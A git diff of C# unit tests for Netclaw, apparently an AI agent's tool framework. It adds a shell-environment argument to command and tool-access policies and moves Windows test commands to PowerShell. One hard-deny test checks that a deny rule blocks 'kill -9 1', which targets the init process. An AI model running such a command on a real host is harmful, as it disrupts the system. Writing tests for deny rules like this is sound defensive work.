- UsedStrictFallback: false)));
+ UsedStrictFallback: false),
+ new Netclaw.Security.ShellCommandPolicy(Netclaw.Security.ShellExecutionEnvironment.Current)));
var toolCall = new FunctionCallContent(
"call-approve-once-bypass",
@@ -751,7 +823,7 @@ public async Task One_time_approval_bypasses_policy_for_path_aware_file_patterns
};
var registry = new ToolRegistry();
- registry.WithFirstPartyTools(config, new NetclawPaths(), new ToolPathPolicy([]), new ShellCommandPolicy());
+ registry.WithFirstPartyTools(config, new NetclawPaths(), new ToolPathPolicy([]), new ShellCommandPolicy(ShellExecutionEnvironment.Current));
var executor = new DispatchingToolExecutor(
registry,
@@ -762,6 +834,7 @@ public async Task One_time_approval_bypasses_policy_for_path_aware_file_patterns
TrustAudience.Personal,
ShellExecutionMode.HostAllowed,
UsedStrictFallback: false),
+ shellCommandPolicy: new ShellCommandPolicy(ShellExecutionEnvironment.Current),
fileApprovalMatcher: new FilePathApprovalMatcher(controlPlaneRoot)));
var toolCall = new FunctionCallContent(
@@ -821,7 +894,7 @@ public async Task One_time_approval_uses_filtered_unapproved_patterns_on_retry()
};
var registry = new ToolRegistry();
- registry.WithFirstPartyTools(config, new NetclawPaths(), new ToolPathPolicy([]), new ShellCommandPolicy());
+ registry.WithFirstPartyTools(config, new NetclawPaths(), new ToolPathPolicy([]), new ShellCommandPolicy(ShellExecutionEnvironment.Current));
var system = ActorSystem.Create($"tool-approval-filtered-once-{Guid.NewGuid():N}");
try
@@ -836,7 +909,8 @@ public async Task One_time_approval_uses_filtered_unapproved_patterns_on_retry()
DeploymentPosture.Personal,
TrustAudience.Personal,
ShellExecutionMode.HostAllowed,
- UsedStrictFallback: false)),
+ UsedStrictFallback: false),
+ new ShellCommandPolicy(ShellExecutionEnvironment.Current)),
approvalService);
var context = TestToolExecutionContext.CreateBound("signalr/thread-filtered", null, new TestToolExecutionContextOptions
@@ -898,7 +972,7 @@ public async Task Persistent_approval_hit_records_audit_context_without_promptin
};
var registry = new ToolRegistry();
- registry.WithFirstPartyTools(config, new NetclawPaths(), new ToolPathPolicy([]), new ShellCommandPolicy());
+ registry.WithFirstPartyTools(config, new NetclawPaths(), new ToolPathPolicy([]), new ShellCommandPolicy(ShellExecutionEnvironment.Current));
var tempFile = Path.GetTempFileName();
var system = ActorSystem.Create($"tool-approval-audit-{Guid.NewGuid():N}");
@@ -918,7 +992,8 @@ public async Task Persistent_approval_hit_records_audit_context_without_promptin
DeploymentPosture.Personal,
TrustAudience.Personal,
ShellExecutionMode.HostAllowed,
- UsedStrictFallback: false)),
+ UsedStrictFallback: false),
+ new ShellCommandPolicy(ShellExecutionEnvironment.Current)),
approvalService);
var context = TestToolExecutionContext.CreateBound("signalr/thread-audit", null, new TestToolExecutionContextOptions
@@ -959,7 +1034,7 @@ public async Task Session_approval_allows_same_session_but_not_different_session
};
var registry = new ToolRegistry();
- registry.WithFirstPartyTools(config, new NetclawPaths(), new ToolPathPolicy([]), new ShellCommandPolicy());
+ registry.WithFirstPartyTools(config, new NetclawPaths(), new ToolPathPolicy([]), new ShellCommandPolicy(ShellExecutionEnvironment.Current));
var system = ActorSystem.Create($"tool-approval-session-{Guid.NewGuid():N}");
try
@@ -974,7 +1049,8 @@ public async Task Session_approval_allows_same_session_but_not_different_session
DeploymentPosture.Personal,
TrustAudience.Personal,
ShellExecutionMode.HostAllowed,
- UsedStrictFallback: false)),
+ UsedStrictFallback: false),
+ new ShellCommandPolicy(ShellExecutionEnvironment.Current)),
approvalService);
var toolCall = new FunctionCallContent(
@@ -1082,7 +1158,8 @@ public async Task Mcp_session_approval_recorded_under_canonical_name_authorizes_
DeploymentPosture.Personal,
TrustAudience.Personal,
ShellExecutionMode.HostAllowed,
- UsedStrictFallback: false)),
+ UsedStrictFallback: false),
+ new ShellCommandPolicy(ShellExecutionEnvironment.Current)),
approvalService);
// The LLM emits tool_use with the sanitized alias — mirror that
diff --git a/src/Netclaw.Actors.Tests/Tools/McpToolAudienceGrantsTests.cs b/src/Netclaw.Actors.Tests/Tools/McpToolAudienceGrantsTests.cs
index a2dd619e4..44a84b8ee 100644
--- a/src/Netclaw.Actors.Tests/Tools/McpToolAudienceGrantsTests.cs
+++ b/src/Netclaw.Actors.Tests/Tools/McpToolAudienceGrantsTests.cs
@@ -28,7 +28,7 @@ public void NullGrants_AllToolsExposed()
{
var config = CreateConfigWithTeamServer("memorizer");
// McpServerToolGrants is null by default
- var policy = new ToolAccessPolicy(config, Defaults);
+ var policy = new ToolAccessPolicy(config, Defaults, new Netclaw.Security.ShellCommandPolicy(Netclaw.Security.ShellExecutionEnvironment.Current));
var tool = CreateMcpTool("memorizer", "store");
Assert.True(policy.IsToolExposed(tool, TeamContext()));
@@ -42,7 +42,7 @@ public void EmptyGrantList_NoToolsExposed()
{
["memorizer"] = []
};
- var policy = new ToolAccessPolicy(config, Defaults);
+ var policy = new ToolAccessPolicy(config, Defaults, new Netclaw.Security.ShellCommandPolicy(Netclaw.Security.ShellExecutionEnvironment.Current));
var tool = CreateMcpTool("memorizer", "store");
Assert.False(policy.IsToolExposed(tool, TeamContext()));
@@ -56,7 +56,7 @@ public void GrantedTool_IsExposed()
{
["memorizer"] = ["search_memories", "get"]
};
- var policy = new ToolAccessPolicy(config, Defaults);
+ var policy = new ToolAccessPolicy(config, Defaults, new Netclaw.Security.ShellCommandPolicy(Netclaw.Security.ShellExecutionEnvironment.Current));
Assert.True(policy.IsToolExposed(CreateMcpTool("memorizer", "search_memories"), TeamContext()));
Assert.True(policy.IsToolExposed(CreateMcpTool("memorizer", "get"), TeamContext()));
@@ -70,7 +70,7 @@ public void UngrantedTool_IsBlocked()
{
["memorizer"] = ["search_memories", "get"]
};
- var policy = new ToolAccessPolicy(config, Defaults);
+ var policy = new ToolAccessPolicy(config, Defaults, new Netclaw.Security.ShellCommandPolicy(Netclaw.Security.ShellExecutionEnvironment.Current));
Assert.False(policy.IsToolExposed(CreateMcpTool("memorizer", "store"), TeamContext()));
Assert.False(policy.IsToolExposed(CreateMcpTool("memorizer", "delete"), TeamContext()));
@@ -84,7 +84,7 @@ public void ServerNotInGrants_AllToolsExposed()
{
["memorizer"] = ["search_memories"]
};
- var policy = new ToolAccessPolicy(config, Defaults);
+ var policy = new ToolAccessPolicy(config, Defaults, new Netclaw.Security.ShellCommandPolicy(Netclaw.Security.ShellExecutionEnvironment.Current));
// github has no entry in grants → all tools pass
Assert.True(policy.IsToolExposed(CreateMcpTool("github", "create_issue"), TeamContext()));
@@ -99,7 +99,7 @@ public void ServerBlocked_ToolBlockedRegardlessOfGrants()
{
["github"] = ["create_issue"]
};
- var policy = new ToolAccessPolicy(config, Defaults);
+ var policy = new ToolAccessPolicy(config, Defaults, new Netclaw.Security.ShellCommandPolicy(Netclaw.Security.ShellExecutionEnvironment.Current));
// github server is not in AllowedMcpServers → blocked at server level
Assert.False(policy.IsToolExposed(CreateMcpTool("github", "create_issue"), TeamContext()));
@@ -115,7 +115,7 @@ public void DifferentAudiences_SeeDifferentTools()
["memorizer"] = ["search_memories", "get"]
};
// Personal has McpServersMode=All by default, no grants → sees everything
- var policy = new ToolAccessPolicy(config, Defaults);
+ var policy = new ToolAccessPolicy(config, Defaults, new Netclaw.Security.ShellCommandPolicy(Netclaw.Security.ShellExecutionEnvironment.Current));
var storeTool = CreateMcpTool("memorizer", "store");
@@ -135,7 +135,7 @@ public void AuthorizeInvocation_DeniesWithCorrectReason_WhenToolNotGranted()
{
["memorizer"] = ["search_memories"]
};
- var policy = new ToolAccessPolicy(config, Defaults);
+ var policy = new ToolAccessPolicy(config, Defaults, new Netclaw.Security.ShellCommandPolicy(Netclaw.Security.ShellExecutionEnvironment.Current));
var decision = policy.AuthorizeInvocation(
CreateMcpTool("memorizer", "store"),
@@ -153,7 +153,7 @@ public void AuthorizeInvocation_AllowsGrantedTool()
{
["memorizer"] = ["search_memories"]
};
- var policy = new ToolAccessPolicy(config, Defaults);
+ var policy = new ToolAccessPolicy(config, Defaults, new Netclaw.Security.ShellCommandPolicy(Netclaw.Security.ShellExecutionEnvironment.Current));
var decision = policy.AuthorizeInvocation(
CreateMcpTool("memorizer", "search_memories"),
@@ -167,7 +167,7 @@ public void AuthorizeInvocation_ServerDeny_TakesPrecedenceOverToolDeny()
{
var config = new ToolConfig { ShellMode = ShellExecutionMode.HostAllowed };
// Team has no AllowedMcpServers → server-level deny
- var policy = new ToolAccessPolicy(config, Defaults);
+ var policy = new ToolAccessPolicy(config, Defaults, new Netclaw.Security.ShellCommandPolicy(Netclaw.Security.ShellExecutionEnvironment.Current));
var decision = policy.AuthorizeInvocation(
CreateMcpTool("memorizer", "search_memories"),
@@ -195,7 +195,7 @@ public async Task SearchTools_ExcludesToolsBlockedByGrants()
var tool = new SearchToolsTool(
registry,
- new ToolAccessPolicy(config, Defaults));
+ new ToolAccessPolicy(config, Defaults, new Netclaw.Security.ShellCommandPolicy(Netclaw.Security.ShellExecutionEnvironment.Current)));
var result = await tool.ExecuteAsync(
ToolInput.Create("Query", "memor"),
@@ -223,7 +223,7 @@ public void FilterExposedTools_RemovesToolsBlockedByGrants()
{
["memorizer"] = ["search_memories"]
};
- var policy = new ToolAccessPolicy(config, Defaults);
+ var policy = new ToolAccessPolicy(config, Defaults, new Netclaw.Security.ShellCommandPolicy(Netclaw.Security.ShellExecutionEnvironment.Current));
var trustContext = new EffectiveTrustContext(
DeploymentPosture.Personal,
@@ -259,7 +259,7 @@ public async Task LoadTool_DeniesBlockedTool()
{
["memorizer"] = ["search_memories"]
};
- var policy = new ToolAccessPolicy(config, Defaults);
+ var policy = new ToolAccessPolicy(config, Defaults, new Netclaw.Security.ShellCommandPolicy(Netclaw.Security.ShellExecutionEnvironment.Current));
var tool = new LoadToolTool(registry, policy);
var result = await tool.ExecuteAsync(
@@ -281,7 +281,7 @@ public async Task LoadTool_AllowsGrantedTool()
{
["memorizer"] = ["search_memories"]
};
- var policy = new ToolAccessPolicy(config, Defaults);
+ var policy = new ToolAccessPolicy(config, Defaults, new Netclaw.Security.ShellCommandPolicy(Netclaw.Security.ShellExecutionEnvironment.Current));
var tool = new LoadToolTool(registry, policy);
var result = await tool.ExecuteAsync(
@@ -306,7 +306,7 @@ public void PublicAudience_WithGrants_OnlyExposesGrantedTools()
{
["memorizer"] = ["search_memories"]
};
- var policy = new ToolAccessPolicy(config, Defaults);
+ var policy = new ToolAccessPolicy(config, Defaults, new Netclaw.Security.ShellCommandPolicy(Netclaw.Security.ShellExecutionEnvironment.Current));
Assert.True(policy.IsToolExposed(
CreateMcpTool("memorizer", "search_memories"),
@@ -327,7 +327,7 @@ public void MultipleServers_GrantsAreIndependent()
["memorizer"] = ["search_memories"],
["github"] = ["create_issue", "list_issues"]
};
- var policy = new ToolAccessPolicy(config, Defaults);
+ var policy = new ToolAccessPolicy(config, Defaults, new Netclaw.Security.ShellCommandPolicy(Netclaw.Security.ShellExecutionEnvironment.Current));
// memorizer grants don't affect github
Assert.True(policy.IsToolExposed(CreateMcpTool("github", "create_issue"), TeamContext()));
@@ -371,7 +371,7 @@ public void McpServerToolGrants_DeserializesFromJson()
Assert.Equal(["search_memories", "get"], config.AudienceProfiles.Team.McpServerToolGrants["memorizer"]);
// Verify it actually enforces correctly when wired through the policy
- var policy = new ToolAccessPolicy(config, Defaults);
+ var policy = new ToolAccessPolicy(config, Defaults, new Netclaw.Security.ShellCommandPolicy(Netclaw.Security.ShellExecutionEnvironment.Current));
Assert.True(policy.IsToolExposed(CreateMcpTool("memorizer", "search_memories"), TeamContext()));
Assert.False(policy.IsToolExposed(CreateMcpTool("memorizer", "store"), TeamContext()));
}
diff --git a/src/Netclaw.Actors.Tests/Tools/MessyCommandOneTimeApprovalTests.cs b/src/Netclaw.Actors.Tests/Tools/MessyCommandOneTimeApprovalTests.cs
index 809db5b4c..713c150f7 100644
--- a/src/Netclaw.Actors.Tests/Tools/MessyCommandOneTimeApprovalTests.cs
+++ b/src/Netclaw.Actors.Tests/Tools/MessyCommandOneTimeApprovalTests.cs
@@ -12,6 +12,7 @@
using Netclaw.Actors.Hosting;
using Netclaw.Actors.Tools;
using Netclaw.Configuration;
+using Netclaw.Security;
using Netclaw.Tests.Utilities;
using Netclaw.Tools;
using Xunit;
@@ -64,10 +65,11 @@ protected override void ConfigureServices(HostBuilderContext context, IServiceCo
UsedStrictFallback: false));
services.AddSingleton(sp => new ToolAccessPolicy(
sp.GetRequiredService(),
- sp.GetRequiredService()));
+ sp.GetRequiredService(),
+ new ShellCommandPolicy(ShellExecutionEnvironment.Current)));
var registry = new ToolRegistry();
- registry.WithFirstPartyTools(toolConfig, new NetclawPaths(), new Netclaw.Security.ToolPathPolicy([]), new Netclaw.Security.ShellCommandPolicy());
+ registry.WithFirstPartyTools(toolConfig, new NetclawPaths(), new Netclaw.Security.ToolPathPolicy([]), new Netclaw.Security.ShellCommandPolicy(ShellExecutionEnvironment.Current));
services.AddSingleton(registry);
}
diff --git a/src/Netclaw.Actors.Tests/Tools/MetaFieldResolutionTests.cs b/src/Netclaw.Actors.Tests/Tools/MetaFieldResolutionTests.cs
index 126715717..5adb2d6ce 100644
--- a/src/Netclaw.Actors.Tests/Tools/MetaFieldResolutionTests.cs
+++ b/src/Netclaw.Actors.Tests/Tools/MetaFieldResolutionTests.cs
@@ -7,6 +7,7 @@
using Microsoft.Extensions.AI;
using Netclaw.Actors.Tools;
using Netclaw.Configuration;
+using Netclaw.Security;
using Netclaw.Tools;
using Xunit;
@@ -62,7 +63,7 @@ public void ResolveMetaField_returns_null_for_null_key()
public void No_first_party_tool_parameter_collides_with_a_meta_field()
{
var registry = new ToolRegistry();
- registry.WithFirstPartyTools(new ToolConfig(), new NetclawPaths(), new Netclaw.Security.ToolPathPolicy([]), new Netclaw.Security.ShellCommandPolicy());
+ registry.WithFirstPartyTools(new ToolConfig(), new NetclawPaths(), new Netclaw.Security.ToolPathPolicy([]), new Netclaw.Security.ShellCommandPolicy(ShellExecutionEnvironment.Current));
var collisions = new List();
foreach (var registration in registry.GetAllRegistrations())
diff --git a/src/Netclaw.Actors.Tests/Tools/SchedulingToolAudienceTests.cs b/src/Netclaw.Actors.Tests/Tools/SchedulingToolAudienceTests.cs
index 2f914f49f..fd13ba4b5 100644
--- a/src/Netclaw.Actors.Tests/Tools/SchedulingToolAudienceTests.cs
+++ b/src/Netclaw.Actors.Tests/Tools/SchedulingToolAudienceTests.cs
@@ -34,7 +34,7 @@ public sealed class SchedulingToolAudienceTests
public void SchedulingTools_BlockedForPublicAudience_ByDefault(string toolName)
{
var config = new ToolConfig();
- var policy = new ToolAccessPolicy(config, Defaults);
+ var policy = new ToolAccessPolicy(config, Defaults, new Netclaw.Security.ShellCommandPolicy(Netclaw.Security.ShellExecutionEnvironment.Current));
var tool = CreateFakeTool(toolName, "scheduling");
Assert.False(policy.IsToolExposed(tool, TrustAudience.Public));
@@ -48,7 +48,7 @@ public void SchedulingTools_BlockedForPublicAudience_ByDefault(string toolName)
public void SchedulingTools_AllowedForTeamAudience_ByDefault(string toolName)
{
var config = new ToolConfig();
- var policy = new ToolAccessPolicy(config, Defaults);
+ var policy = new ToolAccessPolicy(config, Defaults, new Netclaw.Security.ShellCommandPolicy(Netclaw.Security.ShellExecutionEnvironment.Current));
var tool = CreateFakeTool(toolName, "scheduling");
Assert.True(policy.IsToolExposed(tool, TrustAudience.Team));
@@ -62,7 +62,7 @@ public void SchedulingTools_AllowedForTeamAudience_ByDefault(string toolName)
public void SchedulingTools_AllowedForPersonalAudience_ByDefault(string toolName)
{
var config = new ToolConfig();
- var policy = new ToolAccessPolicy(config, Defaults);
+ var policy = new ToolAccessPolicy(config, Defaults, new Netclaw.Security.ShellCommandPolicy(Netclaw.Security.ShellExecutionEnvironment.Current));
var tool = CreateFakeTool(toolName, "scheduling");
Assert.True(policy.IsToolExposed(tool, TrustAudience.Personal));
diff --git a/src/Netclaw.Actors.Tests/Tools/SearchToolsToolTests.cs b/src/Netclaw.Actors.Tests/Tools/SearchToolsToolTests.cs
index fb126dadb..50859e0b7 100644
--- a/src/Netclaw.Actors.Tests/Tools/SearchToolsToolTests.cs
+++ b/src/Netclaw.Actors.Tests/Tools/SearchToolsToolTests.cs
@@ -220,7 +220,8 @@ public async Task Search_AllowsMemorySafeMcpTools_InTeamContext()
DeploymentPosture.Personal,
TrustAudience.Personal,
ShellExecutionMode.HostAllowed,
- UsedStrictFallback: false)));
+ UsedStrictFallback: false),
+ new Netclaw.Security.ShellCommandPolicy(Netclaw.Security.ShellExecutionEnvironment.Current)));
var context = TestToolExecutionContext.CreateBound("slack/thread-1", null, new TestToolExecutionContextOptions
{
@@ -255,7 +256,8 @@ public async Task Search_HidesMcpServer_WhenAudienceProfileDoesNotAllowServer()
DeploymentPosture.Personal,
TrustAudience.Personal,
ShellExecutionMode.HostAllowed,
- UsedStrictFallback: false)));
+ UsedStrictFallback: false),
+ new Netclaw.Security.ShellCommandPolicy(Netclaw.Security.ShellExecutionEnvironment.Current)));
var context = TestToolExecutionContext.CreateBound("slack/thread-1", null, new TestToolExecutionContextOptions
{
diff --git a/src/Netclaw.Actors.Tests/Tools/SetWorkingDirectoryAudienceTests.cs b/src/Netclaw.Actors.Tests/Tools/SetWorkingDirectoryAudienceTests.cs
index e87880fbd..16736d9d1 100644
--- a/src/Netclaw.Actors.Tests/Tools/SetWorkingDirectoryAudienceTests.cs
+++ b/src/Netclaw.Actors.Tests/Tools/SetWorkingDirectoryAudienceTests.cs
@@ -23,7 +23,7 @@ public sealed class SetWorkingDirectoryAudienceTests
public void SetWorkingDirectory_BlockedForPublicAudience_ByDefault()
{
var config = new ToolConfig();
- var policy = new ToolAccessPolicy(config, Defaults);
+ var policy = new ToolAccessPolicy(config, Defaults, new Netclaw.Security.ShellCommandPolicy(Netclaw.Security.ShellExecutionEnvironment.Current));
var tool = CreateFakeTool();
Assert.False(policy.IsToolExposed(tool, TrustAudience.Public));
@@ -33,7 +33,7 @@ public void SetWorkingDirectory_BlockedForPublicAudience_ByDefault()
public void SetWorkingDirectory_AllowedForTeamAudience_ByDefault()
{
var config = new ToolConfig();
- var policy = new ToolAccessPolicy(config, Defaults);
+ var policy = new ToolAccessPolicy(config, Defaults, new Netclaw.Security.ShellCommandPolicy(Netclaw.Security.ShellExecutionEnvironment.Current));
var tool = CreateFakeTool();
Assert.True(policy.IsToolExposed(tool, TrustAudience.Team));
@@ -43,7 +43,7 @@ public void SetWorkingDirectory_AllowedForTeamAudience_ByDefault()
public void SetWorkingDirectory_AllowedForPersonalAudience_ByDefault()
{
var config = new ToolConfig();
- var policy = new ToolAccessPolicy(config, Defaults);
+ var policy = new ToolAccessPolicy(config, Defaults, new Netclaw.Security.ShellCommandPolicy(Netclaw.Security.ShellExecutionEnvironment.Current));
var tool = CreateFakeTool();
Assert.True(policy.IsToolExposed(tool, TrustAudience.Personal));
diff --git a/src/Netclaw.Actors.Tests/Tools/ShellToolStreamingTests.cs b/src/Netclaw.Actors.Tests/Tools/ShellToolStreamingTests.cs
index 64294e1e5..37b67fb43 100644
--- a/src/Netclaw.Actors.Tests/Tools/ShellToolStreamingTests.cs
+++ b/src/Netclaw.Actors.Tests/Tools/ShellToolStreamingTests.cs
@@ -14,7 +14,10 @@ namespace Netclaw.Actors.Tests.Tools;
public class ShellToolStreamingTests
{
- private readonly ShellTool _tool = new(new ToolConfig(), new ToolPathPolicy([]), new ShellCommandPolicy());
+ private readonly ShellTool _tool = new(
+ new ToolConfig(),
+ new ToolPathPolicy([]),
+ new ShellCommandPolicy(ShellExecutionEnvironment.Current));
private static async Task<(List Activities, ToolCompletedUpdate? Completion)>
CollectStreamAsync(ShellTool tool, IDictionary args,
@@ -59,7 +62,7 @@ public async Task Echo_emits_activity_with_output_chunk_then_completion()
[Fact]
public async Task Stderr_emits_activity_items_with_stderr_phase()
{
- var cmd = OperatingSystem.IsWindows() ? "echo error 1>&2" : "echo error >&2";
+ var cmd = OperatingSystem.IsWindows() ? "Write-Error 'error'" : "echo error >&2";
var args = ToolInput.Create("Command", cmd);
var (activities, completion) = await CollectStreamAsync(_tool, args, ct: TestContext.Current.CancellationToken);
@@ -75,10 +78,9 @@ public async Task Stderr_emits_activity_items_with_stderr_phase()
public async Task Chatty_command_emits_multiple_activities()
{
// Produce enough output that pipe reads span multiple coalesce
- // windows without relying on sleep-based timing or bash syntax
- // (ShellTool uses cmd.exe on Windows).
+ // windows without relying on sleep-based timing.
var cmd = OperatingSystem.IsWindows()
- ? "for /L %i in (1,1,200) do @echo line %i"
+ ? "1..200 | ForEach-Object { Write-Output \"line $_\" }"
: "for i in $(seq 1 200); do echo \"line $i\"; done";
var args = ToolInput.Create("Command", cmd);
var (activities, completion) = await CollectStreamAsync(_tool, args, ct: TestContext.Current.CancellationToken);
@@ -94,7 +96,7 @@ public async Task Chatty_command_emits_multiple_activities()
public async Task Cancellation_kills_process_and_returns_timeout()
{
using var cts = new CancellationTokenSource();
- var cmd = OperatingSystem.IsWindows() ? "ping -n 100 127.0.0.1" : "sleep 100";
+ var cmd = OperatingSystem.IsWindows() ? "Start-Sleep -Seconds 100" : "sleep 100";
var args = ToolInput.Create("Command", cmd);
// Cancel after a short delay
@@ -109,10 +111,10 @@ public async Task Cancellation_kills_process_and_returns_timeout()
[Fact]
public async Task Output_clamping_preserved_in_completion_result()
{
- var tool = new ShellTool(new ToolConfig { MaxOutputChars = 100 }, new ToolPathPolicy([]), new ShellCommandPolicy());
+ var tool = new ShellTool(new ToolConfig { MaxOutputChars = 100 }, new ToolPathPolicy([]), new ShellCommandPolicy(ShellExecutionEnvironment.Current));
// Generate output much larger than the 100-char budget
var cmd = OperatingSystem.IsWindows()
- ? "for /L %i in (1,1,10000) do @echo %i"
+ ? "1..10000"
: "seq 1 10000";
var args = ToolInput.Create("Command", cmd);
var (_, completion) = await CollectStreamAsync(tool, args, ct: TestContext.Current.CancellationToken);
@@ -136,7 +138,7 @@ public async Task Empty_command_yields_immediate_error_completion()
[Fact]
public async Task Hard_deny_yields_immediate_error_completion()
{
- var policy = new ShellCommandPolicy(["kill"], []);
+ var policy = new ShellCommandPolicy(ShellExecutionEnvironment.Current, ["kill"], []);
var tool = new ShellTool(new ToolConfig(), new ToolPathPolicy([]), policy);
var args = ToolInput.Create("Command", "kill -9 1");
var (activities, completion) = await CollectStreamAsync(tool, args, ct: TestContext.Current.CancellationToken);
diff --git a/src/Netclaw.Actors.Tests/Tools/ShellToolTests.cs b/src/Netclaw.Actors.Tests/Tools/ShellToolTests.cs
index 941d24990..2a98e5470 100644
--- a/src/Netclaw.Actors.Tests/Tools/ShellToolTests.cs
+++ b/src/Netclaw.Actors.Tests/Tools/ShellToolTests.cs
@@ -14,7 +14,15 @@ namespace Netclaw.Actors.Tests.Tools;
public class ShellToolTests
{
- private readonly ShellTool _tool = new(new ToolConfig(), new ToolPathPolicy([]), new ShellCommandPolicy());
+ private static string PrintWorkingDirectoryCommand =>
+ OperatingSystem.IsWindows() ? "(Get-Location).Path" : "pwd";
+
+ public static bool IsWindows => OperatingSystem.IsWindows();
+
+ private readonly ShellTool _tool = new(
+ new ToolConfig(),
+ new ToolPathPolicy([]),
+ new ShellCommandPolicy(ShellExecutionEnvironment.Current));
[Fact]
public async Task Execute_echo_returns_output()
@@ -26,10 +34,68 @@ public async Task Execute_echo_returns_output()
Assert.Contains("Exit code: 0", result);
}
+ [Fact]
+ public async Task PowerShell_environment_executes_with_pwsh_grammar()
+ {
+ var environment = ShellExecutionEnvironment.PowerShell();
+ var tool = new ShellTool(
+ new ToolConfig(),
+ new ToolPathPolicy([]),
+ new ShellCommandPolicy(environment));
+
+ var result = await tool.ExecuteAsync(
+ ToolInput.Create("Command", "Write-Output 'hello from pwsh'"),
+ TestToolExecutionContext.CreateUnbound(),
+ TestContext.Current.CancellationToken);
+
+ Assert.Contains("hello from pwsh", result);
+ Assert.Contains("Exit code: 0", result);
+ }
+
+ [SlopwatchSuppress("SW001", "This test verifies native Windows environment selection and executes in the Windows CI matrix.")]
+ [Fact(SkipUnless = nameof(IsWindows), Skip = "Windows-native shell selection")]
+ public async Task Windows_current_environment_selects_and_executes_PowerShell_7()
+ {
+ Assert.Equal(ShellGrammar.PowerShell, ShellExecutionEnvironment.Current.Grammar);
+ Assert.Equal("pwsh", ShellExecutionEnvironment.Current.Executable);
+
+ var result = await _tool.ExecuteAsync(
+ ToolInput.Create("Command", "Write-Output 'native Windows pwsh'"),
+ TestToolExecutionContext.CreateUnbound(),
+ TestContext.Current.CancellationToken);
+
+ Assert.Contains("native Windows pwsh", result);
+ Assert.Contains("Exit code: 0", result);
+ }
+
+ [Fact]
+ public async Task Missing_canonical_shell_fails_loudly_without_fallback()
+ {
+ var missingExecutable = Path.Combine(
+ Path.GetTempPath(),
+ "netclaw-missing-shell",
+ "pwsh-does-not-exist");
+ var environment = ShellExecutionEnvironment.PowerShell(missingExecutable);
+ var tool = new ShellTool(
+ new ToolConfig(),
+ new ToolPathPolicy([]),
+ new ShellCommandPolicy(environment));
+
+ var result = await tool.ExecuteAsync(
+ ToolInput.Create("Command", "Write-Output nope"),
+ TestToolExecutionContext.CreateUnbound(),
+ TestContext.Current.CancellationToken);
+
+ Assert.Contains("Required PowerShell shell", result);
+ Assert.Contains("was not found", result);
+ Assert.DoesNotContain("cmd.exe", result, StringComparison.OrdinalIgnoreCase);
+ }
+
[Fact]
public async Task Execute_captures_stderr()
{
- var args = ToolInput.Create("Command", "echo error >&2");
+ var command = OperatingSystem.IsWindows() ? "Write-Error 'error'" : "echo error >&2";
+ var args = ToolInput.Create("Command", command);
var result = await _tool.ExecuteAsync(args, TestToolExecutionContext.CreateUnbound(), CancellationToken.None);
Assert.Contains("error", result);
@@ -48,8 +114,9 @@ public async Task Execute_returns_nonzero_exit_code()
[Fact]
public async Task Timeout_kills_long_running_process()
{
- var tool = new ShellTool(new ToolConfig(), new ToolPathPolicy([]), new ShellCommandPolicy());
- var args = ToolInput.Create("Command", "sleep 100");
+ var tool = new ShellTool(new ToolConfig(), new ToolPathPolicy([]), new ShellCommandPolicy(ShellExecutionEnvironment.Current));
+ var command = OperatingSystem.IsWindows() ? "Start-Sleep -Seconds 100" : "sleep 100";
+ var args = ToolInput.Create("Command", command);
var context = TestToolExecutionContext.CreateBound("test/thread", Path.GetTempPath(), new TestToolExecutionContextOptions
{
Audience = TrustAudience.Personal,
@@ -71,9 +138,9 @@ public async Task Caller_cancellation_kills_child_process_tree_and_returns_grace
// exception. On Unix the command also spawns a background child that
// inherits stdout/stderr; if the tree kill regresses, that child keeps
// the pipe write-ends open and the test never completes.
- var tool = new ShellTool(new ToolConfig(), new ToolPathPolicy([]), new ShellCommandPolicy());
+ var tool = new ShellTool(new ToolConfig(), new ToolPathPolicy([]), new ShellCommandPolicy(ShellExecutionEnvironment.Current));
var command = OperatingSystem.IsWindows()
- ? "ping 127.0.0.1 -n 120 > nul"
+ ? "Start-Sleep -Seconds 120"
: "sleep 120 & wait";
var args = ToolInput.Create("Command", command);
var context = TestToolExecutionContext.CreateBound("test/thread", Path.GetTempPath(), new TestToolExecutionContextOptions
@@ -94,8 +161,8 @@ public async Task ShellTool_returns_raw_combined_output_without_spilling()
// ShellTool only returns its (bounded) raw output now — redaction and the
// inline-budget bound + spill happen centrally in DispatchingToolExecutor
// (covered by DispatchingToolExecutorTests). `echo` is a builtin on both
- // bash and cmd.exe; a long literal is deterministic on stdout.
- var tool = new ShellTool(new ToolConfig(), new ToolPathPolicy([]), new ShellCommandPolicy());
+ // bash and PowerShell; a long literal is deterministic on stdout.
+ var tool = new ShellTool(new ToolConfig(), new ToolPathPolicy([]), new ShellCommandPolicy(ShellExecutionEnvironment.Current));
var args = ToolInput.Create("Command", $"echo {new string('x', 200)}");
var result = await tool.ExecuteAsync(args, TestToolExecutionContext.CreateUnbound(), CancellationToken.None);
@@ -109,9 +176,7 @@ public async Task ShellTool_returns_raw_combined_output_without_spilling()
public async Task Working_directory_is_respected()
{
var tmpDir = Path.GetTempPath();
- // Use platform-appropriate command to print working directory
- var command = OperatingSystem.IsWindows() ? "cd" : "pwd";
- var args = ToolInput.Create("Command", command, "WorkingDirectory", tmpDir);
+ var args = ToolInput.Create("Command", PrintWorkingDirectoryCommand, "WorkingDirectory", tmpDir);
var result = await _tool.ExecuteAsync(args, TestToolExecutionContext.CreateUnbound(), CancellationToken.None);
@@ -144,7 +209,7 @@ public async Task Cwd_falls_back_to_project_directory_when_no_explicit_arg()
{
var context = TestToolExecutionContext.CreateBound("session-1", sessionDir, new TestToolExecutionContextOptions
{ Audience = TrustAudience.Personal, ProjectDirectory = projectDir });
- var args = ToolInput.Create("Command", OperatingSystem.IsWindows() ? "cd" : "pwd");
+ var args = ToolInput.Create("Command", PrintWorkingDirectoryCommand);
var result = await _tool.ExecuteAsync(args, context, CancellationToken.None);
@@ -168,7 +233,7 @@ public async Task Cwd_falls_back_to_session_directory_when_project_directory_nul
{
var context = TestToolExecutionContext.CreateBound("session-1", sessionDir, TrustAudience.Personal);
// ProjectDirectory not set
- var args = ToolInput.Create("Command", OperatingSystem.IsWindows() ? "cd" : "pwd");
+ var args = ToolInput.Create("Command", PrintWorkingDirectoryCommand);
var result = await _tool.ExecuteAsync(args, context, CancellationToken.None);
@@ -189,7 +254,7 @@ public async Task Cwd_creates_missing_session_directory_when_used_as_default()
try
{
var context = TestToolExecutionContext.CreateBound("session-1", sessionDir, TrustAudience.Personal);
- var args = ToolInput.Create("Command", OperatingSystem.IsWindows() ? "cd" : "pwd");
+ var args = ToolInput.Create("Command", PrintWorkingDirectoryCommand);
var result = await _tool.ExecuteAsync(args, context, CancellationToken.None);
